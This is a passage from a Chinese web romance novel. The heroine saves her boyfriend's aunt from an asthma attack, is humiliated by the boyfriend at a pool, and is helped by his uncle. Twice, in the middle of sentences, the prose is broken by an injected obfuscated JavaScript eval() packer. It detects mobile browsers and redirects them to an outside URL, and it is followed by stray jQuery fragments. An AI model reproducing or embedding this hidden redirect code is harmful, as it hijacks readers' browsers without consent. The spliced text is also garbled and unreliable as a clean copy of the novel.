卧沙发上打游戏的纪嘉誉率先听烦了,没好气地砸了一句:“查户口呢?” 见儿子开口,顾淑凤才不紧不慢地清清嗓子:“好了,语琴,玩够了没?” 她不指责妹妹追着初次登门的李棠梨问到难堪处,甚至连“客人”之类的客套语都不加,只是淡淡一句“玩够了没”,将李棠梨彻底放在一个无足轻重、供她的家人取乐的玩物的位置上。 顾语琴好像读不出姐姐对李棠梨的轻视。她复而露出笑容,伸出手臂,轻轻牵住李棠梨的手。 李棠梨打了个哆嗦,顾语琴的手指,凉得简直和冰块没什么两样! 顾语琴却恍然未觉,李棠梨的手发颤,她不仅不松开,反而握得更紧。 顾及她是病人,李棠梨也不敢挣脱,只好任由她这么牵着。 她听见顾语琴撒娇说:“姐姐,我想和她去花房逛逛。可以吗?” 顾淑凤正色道:“不行。新的护工还没有到,花房刚翻修完,脏兮兮的。缓两天再去,听话。” 顾语琴笑容消失不见,转而泫然欲泣:“好,那我不去了。其实我就该一直待在顶楼才对,反正我是个废人,什么也干不了,哪儿也不能去,拖累你和哥哥……” “瞎说什么呢?”哪怕知道她是演的成分居多,顾淑凤一听这话,心还是揪起来。 三个兄弟姐妹里,唯独顾语琴长得最像妈妈。因为早产,她从小就体弱多病,几乎是在疗养院度过的童年。父母逝世时,她还是个半大的孩子。 长这么大,接受的都是家庭教育,几乎没去学校上过学。外人见不到几个,更不要说交朋友了。所以看到李棠梨,才难得这么高兴。 想到近一年妹妹身体情况比较稳定,顾淑凤心软妥协了:“行了,多穿点衣服,把帽子、口罩都带上。” 扫了一眼被拉着手、表情有几分迷茫的李棠梨,她添了一句:“务必让阿姨跟着你,听到没?” 坐车进来那会儿,李棠梨就知道这个庄园大,但以她贫乏的想象力,却如何也想象不到,在屋后竟然还有一个小湖泊! 湖泊旁边,就是玻璃花房。花房是半个月前翻新的,不同种类的花卉摆放得错落有致,玻璃在阳光照射下晶莹剔透。 顾语琴把轮椅留在了花房外。她可以正常行走,只是体力太差,没两步就累了。不过今天兴致格外好,于是就起身走走。 她继续问李棠梨:“那你上大学、上班,有没有遇到过什么有趣的事儿?” 李棠梨愣怔了一下,声音低下去:“我没上过大学。” 她是想上大学的,但无论穿越前后,都没能读成。 妈妈查出肺癌后,面对上学和挣钱的抉择,李棠梨并没有犹豫多久。得知她决定辍学,妈妈发了好大一通火,厉声让李棠梨滚回高中。 但她这个一向话少胆小的女儿,面对她的怒火,却头一次没有低头认错。明明怕得发抖,却一步也不肯退。 她说:“妈妈,我不能看着你去死。”看着她红红的眼睛,妈妈最终什么都没有说。 妈妈住院后,李棠梨坐公交车在工厂与医院之间往返。 公交途径一所高校,上车的大学生们放松欢快地讨论着待会儿去哪儿玩。 而与他们同岁的李棠梨,则和老鼠一样躲在后座,弯身偷偷咽下最后一口又冷又硬的馒头。 她风尘仆仆、疲于奔命,只能偶尔露出羡慕的眼光,然后眼睁睁看着自己距离梦想越来越远。 母亲病逝后,她好不容易重新振作起来,打算再打工半年,攒够钱就辞职备考,参加明年的成人高考,但紧接着又出了意外。 命运对她太坏了。 好在顾语琴没有细问,毕竟她自己也没上过大学,没觉得这有多新奇。所以她立刻转移话题,让李棠梨讲一下工作上的趣事儿。 工作有什么好讲的?李棠梨说得干巴巴的,都是一些日常小事。可顾语琴很给面子,笑得口罩都滑落了几回。 花房里弥漫着阵阵花香,突然,顾语琴打了一个喷嚏,眼睛有些发红。阿姨紧张起来:“小姐,是不舒服吗?我们回去吧。” 刚出来没多久,又要回去!顾语琴很不快:“哎呀,再绕一圈嘛。” 还没过去三分钟,李棠梨不禁侧过了头。因为身旁的人呼吸越发急促,胸闷气短,甚至出现了“嘶嘶”的喘气声。 她关切地停下脚步:“要休息一会儿吗?” 谁料,顾语琴竟然一下干咳起来,咳声刚停,剧烈的喘气声接踵而至。她捂着不住起伏的胸口,气喘如牛,徒劳地张大口想要获取氧气。 这个熟悉至极的症状直冲天灵盖,李棠梨上前扶住明显呼吸困难的顾语琴,扭头对阿姨急迫地说:“她有哮喘!吸入器在哪儿?” 阿姨一脸迷茫,她来顾家任职也就是这几年的事儿,从没听说过小姐有哮喘啊。 见这副阵仗,阿姨慌了起来:“可能、可能在轮椅上?” 听到有药,李棠梨点点头,她镇定下来,立刻躬身搀扶起顾语琴:“阿姨,花房不能待了,我们先把她抬出去。” 合力把人扶到轮椅上,李棠梨一把拉开轮椅背后的储物袋,伸进去丁零当啷翻找两遍,一无所获。 她心口一沉:“药不在这儿。” 阿姨着急道:“要是有,那也只能是在顶层小姐的房间了,楼下的药箱我前两天刚整理过,没记得有哮喘药!” 刚刚就想着出去散散心,顶多半个小时 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车及时开过来,顾淑凤和纪嘉誉就看见这样的场景——轮椅上的顾语琴握着吸入器,喘气声依旧有些急促,另一只手则死死攥着李棠梨。 而李棠梨跪在轮椅前,因为刚刚那声喊得太大,她嗓音发哑,熟练而耐心地引导安抚顾语琴用药,就像她无数次对妈妈做的那样。 不知道为什么,明明此刻的她比在场所有人都要狼狈,盘发跑得半散,几缕发丝垂在肩头,短裙滚了一身土,但是她轻柔的语调、耐心的眼睛,令人感到一股说不上来的吸引力。 纪嘉誉把虚弱的顾语琴抱上后座,她却握着李棠梨的手,怎么也不肯松手,见此情景,顾淑凤语气放缓:“李小姐,请你也上来吧。” 这么一来,纪嘉誉就没了位置,他没有上车,只能待会儿独自前往。 抵达私人医院,早就联系好的医生团队已经提前在门口等待。 经过急救,顾语琴被推进VIP病房,戴上氧气罩后,呼吸渐渐平稳。 一行人终于松了一口气。恢复了神智,顾语琴朝床边的李棠梨张了张嘴,透明的氧气罩蒙上一团雾气,但李棠梨认出了她的口型:“谢谢你。” 李棠梨有些不好意思地笑了:“不用谢。” 话音未落,病房门猛然被从外打开。 西装笔挺的男人几个步子就跨到病床旁,目光直直落到病床上。见到安然无恙的妹妹,眉宇间的焦灼之色才消下去。 见顾语琴还有心情朝他眨眼,他怒极反笑:“顾语琴,我看你哪天吓死我就满意了。” 顾家兄妹其乐融融,慌张的那个人换成了李棠梨。 一见顾峙,她脑子里的警报“嗡”一声响起,本能地想要往后面躲。可这时候再动就有些刻意了,只好默然僵硬地戳在原地。 在她面前冷硬而傲慢的顾峙,面对家人时,周身的棱角和气场都软了下来,像是冻河在初春缓缓消融。 可怕什么来什么,放心下来的顾峙余光一扫,蓦地定在了对面那个女孩身上。 她跟心虚似的低着眼皮,一味盯着地板瞧,像是能从地缝里看出花来。 穿着脏兮兮的挂脖粉裙,露出一片薄而白的脊背,颈间有一粒小痣。 奇怪的是,明明只有短暂的两面之缘,顾峙却一眼就认出了这是谁。 他声音随之沉下来:“李小姐,你怎么在这儿?” 7.第 7 章 顾淑凤讶异,这两个八杆子打不着的人竟然认识。但她转念又想起,或许是那天她叫顾峙去酒店逮人时见过一面。 “啊,”李棠梨差点咬了舌头:“我就是凑巧……” 看着解释不清的李棠梨,顾淑凤主动解围:“这姑娘是嘉誉带来老宅玩的。今天多亏了人家,要不是她带了哮喘药,语琴这回可就真不好说了。” 她简单把事情来龙去脉讲了一遍。 过程听得人惊心动魄,尤其是说到李棠梨光脚跑进跑出、跪地上引导用药时,顾峙目光微动,不由自主落在她身上。 他很难想象出当时的场景。如非顾淑凤所说,他无论如何都猜不到,在描述中勇敢果断地救了他妹妹一条命的人,竟然就是外甥那个穿着艳俗、性情胆小的女朋友,李棠梨。 截然相反的品格,矛盾地出现在了同一个人的身上。 顾峙一向周密严谨,不免要多想一点,她是如何及时观察到妹妹的不适,急中生智想到自己带了哮喘药;又是怎么穿着行动不便的短裙,从花房一路跑到别墅,又急急折返的? 此外,顾语琴哮喘发作的原因也找到了。由于纪嘉誉当时没有上车,他过来用处也不大,顾淑凤叫他先待家里,查查到底是怎么一回事。 纪嘉誉脾气坏,脑子却一点不笨。顾语琴刚出急救室,前因后果就发到了顾淑凤的手机上。 顾语琴幼时患有过敏性哮喘,过敏原是百合花粉,因此,家里向来严禁栽种百合。 直到两个月前,负责花艺布置的园艺师傅到了退休年龄。 体念他在顾家勤勤恳恳干了小半辈子,顾家又以高薪聘请了老师傅同样从事园艺工作的儿子,这回的花房翻修就是他主持的。 可能是因为顾语琴十余年间再没犯过哮喘,不知道是老师傅交接有误,还是新人工作疏忽,总之,纪嘉誉确实在花房找到了两盆百合。 了解到真相,顾峙看向李棠梨的眼神终于不再像是一块冒出寒意的冰。 他低下头,诚恳地说:“抱歉,是我刚刚误会你了。我替我妹妹感谢你的救命之恩。” 收到顾语琴的感谢,李棠梨还只是不好意思;卸下上位者气场的顾峙当面郑重地向她道谢,她连手脚都不知道往哪儿放了。 她脸上红扑扑的,连连摆手说:“只是举手之劳而已,谁碰到都会这么做的。” 她习惯了逆来顺受地遭受欺负和轻视,乍然间有人平等尊重地对待她,正视她的付出,反倒很不适应。 李棠梨情绪一激动,很容易就反应在脸上,谁都看得清清楚楚。 她自己也感受到脸颊发烧,又害羞又尴尬,实在呆不下去了,她一径站起来:“失陪了,我去趟卫生间。”找了个借口溜出去。 女孩一起身,顾峙就注意到了她膝盖上的伤口。正要开口,人已经急匆匆走到门口,一探身出去了。 顾淑凤责怪起园丁的疏忽,庆幸李棠梨恰好带了药,不然后果不堪设想。坐在床边的顾峙有些心不在焉,只应了一声。 她膝盖上的伤口,大概率是那时候不慎磕碰的。只是匆匆一瞥,那块青紫红肿几乎占据了她的膝头,中心甚至渗着血,她却还没有处理。 折腾一下午,病床上的顾语琴眯起眼睛,犯困了。顾峙朝大姐打了个手势,示意自己有事儿出去一下。 进了卫生间,李棠梨腿一弯,才迟钝察觉到膝盖传来的刺痛。她一直没顾上细看,到医院也只是问护士找了双拖鞋先穿上。 低下头,她倒吸一口凉气。 左腿膝盖淤青发紫、惨不忍睹,刚刚走路时步子太大,又撕破了口子,一道血珠都快淌到小腿了。 用纸擦拭掉血痕,意识到这么严重,痛楚忽然之间就漫上来了。 李棠梨皱着脸,怕加剧伤势,她不敢再屈腿,扶着墙一步一挪地走回去,步伐蹒跚。 却不期然看到顾峙站在病房门口,似乎在等什么人。 顾峙等的人就是她。 他面向李棠梨,不着痕迹地掠过她的伤口,礼貌地说:“我想你的伤需要处理一下。” 这可是一家高端私立医院,李棠梨舍不得掏就诊费,她忍痛露出一个笑,忙说:“没关系的顾先生。不疼,只是小伤口,马上就结痂了。” 都影响走路了,还不疼?谁教她这么不把自己的身体当回事? 顾峙唇线拉直:“语琴睡着了,李小姐,你先在外面坐等我一会儿。” 李棠梨摸不着头脑,暂且听他的安排,缓缓在病房外一排座椅上坐下。 直到看见他拿着碘酒和棉签回来,李棠梨才反应过来,顾峙是专门为她走了一趟。 她先是吃了一惊,立马道谢。今天的顾峙对她的态度实在太过友善,令她几乎生出了受宠若惊之感。 接过碘酒,李棠梨弯腰去涂,这会儿又冒出新的问题——裙长刚好在膝盖上方,光是坐下,就往上拽了一截。一弯腰,裙摆更是直往上跑,一个不注意,都快捋到大腿中段了。 为了维持安静的环境,VIP病房所在的这一层人流量较少,但走廊还是时不时有医护人员经过。 看她没涂两下就不得不停下,拿手困扰地扯一下裙子。身子起起落落,腰肢一拧一拧的,明明是无心之举,反倒更惹眼了。 顾峙彻底看不下去了,启唇道:“李小姐,我帮你吧。” 李棠梨“啊”了一声,眼睁睁看着顾峙利索地在她跟前蹲下身,压根没给她拒绝的机会。 她结巴起来:“顾、顾先生,您起来吧,这不太好……” 顾峙没有什么男儿膝下有黄金的观念,他轻描淡写:“你当时不是这么帮语琴的吗?有什么不太好?棉签给我。” 不仅如此,他还顺便脱了外套,盖在李棠梨大腿上。 不过,他到底半跪在一个穿短裙的女孩腿前,角度很危险。 但凡顾峙有一点坏心思,完全可以把李棠梨这个笨女孩蒙在鼓里骗,一边涂完药一边慢慢欣赏,她还要说声谢谢,全然不知自己已经被坏男人暗地里看光了。 好在顾峙并不是那种坏男人。他十分绅士地低垂着眼皮,视线克制地专注于伤口,没有往别处挪动过一寸。 手也没有碰触到她的皮肤上,只是单纯地用棉签抹药。 神经末梢传来疼痛,李棠梨擅长忍耐,实在刺激得厉害,才经不住嘶了一声。 “忍一忍。” 听见他的声音,李棠梨偷偷去瞧,以这个角度和距离,可以很清晰地看清这个男人脸上的每一处细节。 他的鼻梁高耸,微微凸起一截驼峰,但并不影响整体线条的流畅,反而显得人很硬朗,是个做事说一不二的人。 平时看不出来,凑得近了,她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084090|162711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现,顾峙的眼睫长长的,像把小扇子。他一个男人的睫毛,居然比她的还要长。 然而,就是这么一个微微出神的瞬间,顾峙仿佛有所感应,蓦地掀起眼皮,捉住了她直愣愣的眼睛。 这个时刻,李棠梨突兀地想,原来顾峙的瞳孔并不是纯黑色,而是偏向于铅灰,如同一对儿无机质的玻璃珠,攥在手里冰凉凉的。 此时,这双眼睛一错不错地凝视着她,像是气定神闲的掠食者成功捕到了被引诱上钩的猎物。 四目相对,李棠梨愣了两秒,继而脸颊爆红,她猛地转过头,手指紧紧抠着座椅上的小孔,把侧颈那粒小痣又送到了顾峙眼里。 顾峙也滞了一下,但他只是低下头,若无其事地转移了话题:“李小姐,你似乎很清楚哮喘这种病。” 李棠梨不自在地把碎发撩到耳后,低声说:“……嗯,我妈妈也有哮喘。偶尔会遇到这种突发情况。” “原来是这样。”顾峙说:“李小姐,你对语琴有救命的恩情在,以后碰到什么难事,尽管来找我。” 清理完伤口,他站起来,下一步就要和李棠梨互换联系方式,却不曾想,走廊尽头传来了纪嘉誉的声音。 “你们两个在这儿干什么呢?” 见舅舅和李棠梨凑在一起,插着兜姗姗来迟的纪嘉誉疑惑地问。 顾峙眉心一跳。 纪嘉誉一出现,李棠梨果然就把注意力转移到了他身上。 他不回答,先发制人:“还知道过来?” 他话里的火药味直冲到脸上,纪嘉誉莫名其妙:“我妈说小姨没事儿了啊,让我不用着急。” 闻言,顾峙凭空窜上一股无名火:“都住院了还没事儿?你没见她在家里犯病吗?” 更何况女朋友伤成这样,他也不闻不问。 纪嘉誉被落了面子,一时挂不住,他沉下脸:“一见面你就非得就找我茬?” 顾峙忍了忍,没当着夹在舅甥之间有点无措的李棠梨发火,冷声说:“你小姨睡着了,滚进去看看她。” “还有,”他命令道:“把你女朋友待会儿送回家。” 李棠梨见扯到自己身上,怕惹纪嘉誉不快,赶紧说:“没关系,要是不方便的话,我自己回去也可以。” 顾峙:“他方便。” 纪嘉誉烦他多管闲事,嘟囔了一句:“有病。”推门进去了。 顾峙没理会他,将那瓶碘伏递给李棠梨:“回去记得每天消毒。” “好,谢谢您。” 李棠梨客气地伸出手,两人指尖接触到彼此一瞬,又立马分开了。 * 顾峙在医院待到夜里九点,雇了护工陪床守夜,才饿着肚子到家。 客厅餐桌上放着一个圆柱形的保温袋,包里是保温桶。 掀开盖子,满满的山药排骨汤,像是没人动过。虽然只剩一点余热,但诱人的咸香味儿依然扑鼻而来。 是刘阿姨留下的吗? 他晚上正好还没吃饭,打算拿去加热,搬出保温桶,他忽而瞥见桶下压着一张纸条,字迹还有几分熟悉。 【别生气啦,原谅我吧^_^】 是李棠梨的字。 原来是她给纪嘉誉带的。 顾峙捏着这张纸条,面无表情看了半晌,心想,这字倒是写得比给他的那张好看点。 8.第 8 章 F国的一场商务晚宴,顾峙端着一杯红酒,简单与几个围着他的欧洲投资人交谈后,转身独自坐在角落的沙发上。 “你怎么了?看着这么愁?” 一个敞着领口的桃花眼男人带着女伴走过来。 “家里的事儿。”顾峙和他隔空碰杯,没往嘴边递。 男人心领神会,他拍了拍花枝招展的女人:“宝贝儿,帮我拿瓶罗曼尼过来。” 人被支走了,顾峙冷淡地说:“关望津,你一天也离不开女人吗?” 关望津笑了笑,不太在意他的嘲讽,大马金刀地坐下来:“你兄弟我女人缘好,挡不住,跟你这种处男不一样。你愁什么呢到底?又是为你外甥?” 顾峙懒得和他耍嘴皮子:“不,是我妹妹。” 关望津呛了口酒,咳嗽两声:“咳……真的假的?语琴乖得跟洋娃娃似的,能有什么烦心事儿?” “她前段时间犯了哮喘,李小姐——纪嘉誉女朋友,正好来家里做客。碰巧身上带着哮喘药,救了她一命。现在非要雇人家当护工。” 关望津收起笑意:“语琴犯哮喘了?你怎么不跟我说?” 他这话说得古怪,顾峙侧目:“你这一年都在国外,和你说有什么用?她现在情况稳定,下周出院。” 关望津攥紧酒杯,又变得吊儿郎当起来:“那就听人家的呗。刚捡回一条命,别逆着她。” 顾峙抿了一口酒:“不行。” “为什么?”关望津想起来:“哦,对,我记得你外甥女朋友是当陪酒的?是有点脏,不合适。” 虽然他这个花花公子女朋友换得勤,但一码归一码,他有条原则,就是绝不在藏污纳垢的娱乐场所乱搞。 交往的女友们大多家世清白,谈恋爱彼此你情我愿,不存在什么金钱包养关系。 除此之外,关望津家底厚,每一任的分手费都给得相当大方,素有散财少爷的美名,所以风评不差。 不然,顾峙也不可能和他做多年的朋友。 明明顾峙最厌恶夜场陪酒这种职业的女人,可听到关望津这么说李棠梨,他当下生出反感,语气平平道:“不是人品的问题。她只照顾过家人,没有专业的护理经验。” 顾语琴第一次提出要雇李棠梨,谁也不同意。但她求得太紧,每天见到人就说个不停,烦不胜烦,顾家不得不注意起来。 于是顾峙派人详细地调查了一遍李棠梨。不同于上次那张粗浅的个人资料,顾峙是真把这个最近频繁出现在他眼皮子底下的女孩掀了个底朝天。 事实证明,实际上的李棠梨和他们认知里的存在许多出入。 她在会所总共待了两个月,除了纪嘉誉,这期间没和其他男人发生过关系。 没过多久就辞职不干了,目前一家自助餐厅打工,那天在老宅没有说谎。 她是单亲家庭,母女俩住在一个老小区,街坊邻里谈起她,话风也都偏正向。 说她每天起早贪黑上班打工,钱都送进医院给妈妈治病,早上经常看见她陪着妈妈在小区散步。 调查结果和照片摆在台面上,顾家姐弟俩开小会商量,顾峙捡起那一沓照片,一张张翻过去,拍的都是李棠梨的日常生活。 顾淑凤感慨说:“瞧瞧,这不比那天穿着短裙化妆好看?之前误入歧途,现在从那种乌七八糟的地方走了,也算回头是岸了,心性不坏。” 有两张照片,顾峙停顿的时间长一点。 一张是她在餐厅后门,一个人吃力地拉扯着一个到她胸口的大垃圾箱。 一张是在书店,她靠在墙上,捧书聚精会神地看。脖颈线条清丽,延伸进领口,膝盖上依旧泛着青紫,还没有消下去。 回到当下,听顾峙这么说,关望津挑眉,敏锐察觉到了他话里话外对那个李小姐的维护之意,感到有点不对劲。 上回顾峙提起这个女孩,态度可是十足的轻视和不屑。但他观察顾峙,他神色如常,没表现出什么异样。 不过想想也正常,毕竟人家救了语琴,怎么说也是顾家的恩人。 关望津:“语琴就是没朋友,想找人陪她。照你这么说,人既然不错,可以时不时叫来家里玩。” 顾峙颔首:“对,暂时这么计划的。” 他站起身,将酒杯放到桌上,结束了对话:“我还有航班,先走一步。” 顾峙穿着大衣,身影挺拔修长。女伴满眼惊艳,一直瞧着他走出会场,悄悄跟关望津打听:“这是哪位啊?” 关望津笑了,话语间却满是警告:“别把歪心思打到他身上,你那些小姐妹可搞不定这个主。” 女伴撇撇嘴,依偎在关望津肩膀上。 他却提不起兴致,翻出手机通讯录,指尖在“语琴”上方犹豫了几秒,最终还是没有摁下去。 万一她正在休息,还是不要打扰了,反正他很快就回国了。 * 下飞机后,顾峙回家倒时差。 朦朦胧胧睡到一半,听见楼下嘈杂,他疲倦地没去管。再睁开眼,天已经黑了。 客厅空无一人,闹得乱七八糟,玻璃渣碎了一地,弥漫着一股酒精味儿,像是有谁把酒瓶打碎了。 顾峙用脚趾头都能猜到,这肯定又是纪嘉誉和那群不学无术的纨绔子弟们干的好事! 透过玻璃,他隐隐绰绰发现外面的泳池边上趴着个人影,身形有几分熟悉。 最近天气转凉,入夜后气温骤降,谁没事儿往泳池里跑? 听见背后传来的脚步声,李棠梨受惊地扭过头,不是别人,是曾经见过几面的纪嘉誉的舅舅,顾峙。 他穿着一身黑色睡衣,没有像之前那样把头发一丝不苟地梳到脑后。微长的额发垂落在额前,微微遮住眼眉,显得年轻了好几岁。 “李小姐,”顾峙环顾四周,眉头紧缩:“你在里面泡着干什么?纪嘉誉他们人呢?” 李棠梨脸色苍白,声音发颤:“他们,他们可能出去了。嘉誉说让我先呆在这里……” 顾峙多聪明,一下就戳穿了她吞吞吐吐的掩饰。 他一阵见血道:“是纪嘉誉让你在泳池里呆着,不许出来,直到他发话为止?” 李棠梨轻轻“嗯”了一声,轻得几乎听不到。 她也不知道为什么会变成现在这样。 自从上次她救了顾语琴,纪嘉誉对她有所改观,偶尔心情不错还会回她两句消息。 其实当时的气氛很好,大家有说有笑,直到有个不长脑子的蠢货嘴一秃噜,感叹了一句:“誉哥,真羡慕你,反正顾叔叔不结婚不生孩子,顾家以后还不就是你的?” 纪嘉誉的脸色立马就变了。 这话其实没说错,顾峙至今未婚未育,外界之所以称纪嘉誉是荣星太子爷,也是默认他未来大概率会继承顾氏集团的产业。 但很显然,太子爷本人不喜欢,甚至很避讳这个话题。 他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093584|162711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把抄起桌上的酒瓶,又快又狠地砸到地上。 劈里啪啦,酒瓶精准地炸裂在那个人脚前碎玻璃四溅迸射,划过他的胳膊、脖子上,割出好几道血口子,疼得他喝多了的脑子立马清醒过来。 这人是托了几层关系,削尖脑袋才挤进这个核心圈子里,见触怒了纪嘉誉,当场冷汗直流。 再怎么装孙子道歉也晚了,纪嘉誉叫他立刻滚蛋,那人只好面如死灰地走了。 所有人都知道,他以后再也不会出现在纪嘉誉周围了。 可是李棠梨不清楚其中的缘由,书里对此也没有着墨。 她一头雾水,跟着盛怒的纪嘉誉从露天庭院走入室内,还没劝慰两句,纪嘉誉就猛地停下脚步,看向她:“我刚刚是不是说过,谁也不要再跟我提这件事了?” “对不起。”李棠梨慌了神,讨好地伸出手,却被对方一把甩开。 纪嘉誉的面容愈发冰冷:“你真把自己当我女朋友了?” 看着这个平庸无能的女人,纪嘉誉一时间冒出茫然。李棠梨和学姐,除了那个唯一的角度,到底还有哪里相似? 他竟然为了和家人置气,和这种上不得台面的女人交往了这么长时间? 意识到这是一个早该纠正的错误,他扔下一句通知:“到此为止吧。” “不,”李棠梨追在他身后,喉咙里像是堵着一团棉花,她不知道说什么能挽救,笨拙地求他:“我不想分手,不分手好不好?” 最后一点耐心也被消磨殆尽,纪嘉誉面无表情地指向屋外的泳池:“不分手?行,你现在跳进去。我让你出来你再出来。跳不跳?” 李棠梨顺着他的指尖看过去,又脸色发白转回来,看了他半晌。 她看得纪嘉誉胸口发闷,有种说不清道不明的东西充斥心头。 但最后,李棠梨黯然地点了点头。 她走进了泳池。没过五分钟,跑车的轰鸣声从车库传来——心烦意乱的纪嘉誉和其他人出门了。 而李棠梨,就这么听话得泡在冰凉的水里,不知道过去了多久。 她徒劳地等待着也许马上就会回来,也许今晚永远也不会回来的纪嘉誉。 顾峙一时无言。 沉默进一步蚕食着李棠梨所剩无多的自尊。 他隔着一步距离,站在她身前。 或许是水里太冷,她两条泛着冷光的细胳膊扒在池岸上,指尖已经泡得发白。 黑发垂在瘦削的肩头,湿漉漉的,眼睛也是。 李棠梨的眼尾微微下垂,她仰头望着他,顾峙一时无法确认,她到底是在求他发好心救救自己,还是在求他更重地欺负自己。 顾峙垂眸,第一次叫她的名字:“李棠梨。” 他的眼睛如同一片深灰色的大海,平静地倒映着她所有的狼狈:“你从来不会拒绝别人吗?” 李棠梨的眼泪霎时间夺眶而出。 看见她难堪的泪水,顾峙不仅不退,反而又往前跨了一步。 可李棠梨已经无路可退,缩回手臂,整个人又要再度被冰冷的池水吞没。 她无能为力,只能任由他强硬地侵犯进双臂间。 直到他的鞋尖与池岸同齐,只隔着一层晃荡的水波,几乎要抵住她的胸口。 李棠梨红着眼眶,充盈的泪珠不断地沿着眼角滑入鬓角,有几滴掉进池水里融为一体。 顾峙轻声说:“为什么我每次见到你,你都这么狼狈?” 9.第 9 章 李棠梨抑制不住,哭泣起来。 因为怕丢人,就像顾峙说的那样,不想让他再目睹自己的狼狈,她抬起手臂遮住脸,试图维护那点廉价的自尊心。 她呜咽着:“我、我也不想这样……” 随波逐流,连拒绝别人也办不到,宁可伤害自己来委曲求全。对于这种可悲的人的丑态,顾峙向来毫无怜悯。 可见她哭成这样,顾峙说不下去了。像是有几滴泪顺着他的胸膛淌了下去,烫到了他,使他无法在她的哭声里无动于衷。 他顿了顿,说:“别哭了,先上来。纪嘉誉不敢拿你怎么样,我保证。” 顾峙语调沉稳,有种举重若轻的可靠感。他确凿无疑地告诉李棠梨,这件事情有我在,你什么也不用怕。 扶梯在泳池对面,李棠梨胡乱擦了擦泪,眼尾泪涟涟的:“太冷了,我动不了。” “从这儿直接上来。”顾峙半蹲下身,把手递到她面前:“把手给我。” 李棠梨伸手搭住他。和他相比,她的手指纤细,冰凉凉的。 顾峙握住她的手腕,水声淋漓,把她上半身从泳池里拽出来。见李棠梨两条腿吃力地抬不上来,顾峙不得不展臂搂住她的后腰,一把携在臂弯里。 他只觉得人又瘦又轻,没费多大力气就把她整个从水里捞了出来。 顾峙是出于好心,但这会儿的姿势实在过于暧昧。 李棠梨因为刚刚失去重心,慌张地揪住他的前襟。顾峙紧箍着她的腰,她只好把脸颊乖乖枕在他温热有力的胸膛上。好不容易接触到了热源,她本能地想要贴着他,把顾峙的衣服蹭湿了一大片。 “抱歉,刚刚一时情急。” 顾峙松开她。 结果李棠梨差点没站稳,双膝一软,顾峙又扶了一把,免于她再度一头栽进泳池里。 她吸了下鼻子,瓮声瓮气地说:“我知道,谢谢您。” 她浑身湿透,衣物贴合着每一寸身形,抱着手臂,身子微微发抖。上衣卷到胸沿下,袒露出一截柔软白皙的腰肢和小腹,侧腰上还有几道红痕。 顾峙立刻移开视线,但残留的影像却很难从脑子里移开。 ……所以,他刚刚是毫无阻隔地直接握住了她的腰吗? 就和在医院里握住她的小腿一样,细细的、柔软的,从来不乱动,就像李棠梨这个人,乖巧极了。 他后知后觉,指腹隐隐发热。 心底又冒出一点怀疑,他只是轻轻一捏,根本没有用力气,怎么还是给她留下了这么显眼的印子? 都是如此,还是唯独她皮肤嫩? 从水里出来后,李棠梨反而感觉更冷。刚走进室内,她就打了个喷嚏,脸上也渐渐发红。 顾峙回头:“你在水里呆了多久?” 李棠梨说不准,她牙齿打颤:“可能有半个 ……或者一个小时?” 他顿感不妙,推开客房的门:“你今晚可以睡在这儿。以防感冒,我建议你先洗个热水澡。” “好,”李棠梨脑袋发晕,强忍不适向顾峙道谢:“今天真的很感谢您,顾先生。” 望着她冻得通红的鼻尖,顾峙没多说什么:“快去。” 父母去世后,顾语琴和纪嘉誉都是顾峙看着长大的。养大这两个孩子,他至少出了一半力,花的心思远比寻常的哥哥、舅舅多,几乎相当于半个爹。 孩子带多了,尤其是感冒发烧之类的小病前兆,顾峙一眼就能看出端倪。 他拿着感冒药和热水,折返回客房,刚想敲门,却见门拉着一条缝,根本没关严。 敲门,没人回应,他开口问:“李棠梨?” 还是没有一点动静。 不对劲。他推开门,屋里不见人影。浴室传来水声,门却是大敞着。 肯定出事儿了。 他不再顾及男女之别,大步闯入,一踏进去,只见李棠梨已经倒在浴室地上,似乎只来得及打开热水,人就晕了过去,倾洒下来的水珠尽数冲刷在她一动不动的身体上。 顾峙眼皮一跳。 他当即冲上去关掉水,手掌小心地托起她的后脑,一只手穿过腿弯,将人从冰冷的地上打横抱到腿上。 李棠梨窝在他怀里,显得人小小一只,双眼紧闭,神志不清。 顾峙探她额头,烫得厉害。 果然发高烧了。 让顾峙照顾孩子,他很有经验;但要他贴身照顾李棠梨,又变得极不合适了。明明他外甥和李棠梨只差两岁而已。 把她用浴巾草草裹起来,放到床上。顾峙给刘阿姨打了通电话,麻烦她过来临时照看一晚。 李棠梨的身上还是湿的,没法就这么扔着不管。 避开敏感部位,顾峙把她的头发、脸颊和四肢上的水简单擦拭了一下,至于衣服,只能等刘阿姨到了再换。 李棠梨烧得脸颊通红,她把身子蜷缩起来,止不住发抖,脸上又有什么东西在四处乱动,难受得直皱眉头。 她迷迷糊糊抬起手,一下抓住了捣乱的罪魁祸首。 她抓住就不舍得放了,贪恋它的暖意,就这么一直握着。 被她抓着手的顾峙僵住了。 他应该要把手撤回来,下意识也是这么做的。 床上躺着的是纪嘉裕的女朋友。顾峙什么身份?他是李棠梨男朋友的舅舅,不管人家情侣之间有什么矛盾,也挨不着他的事儿。 名不正言不顺,半夜单独出现在一间屋子、一张床上,已经微妙地越界了。 现在李棠梨又拉着他的手不肯放,这算什么? 他又不是她男朋友。 可是,顾峙只是轻微地挣脱,李棠梨就条件反射一样,更紧地攥住。 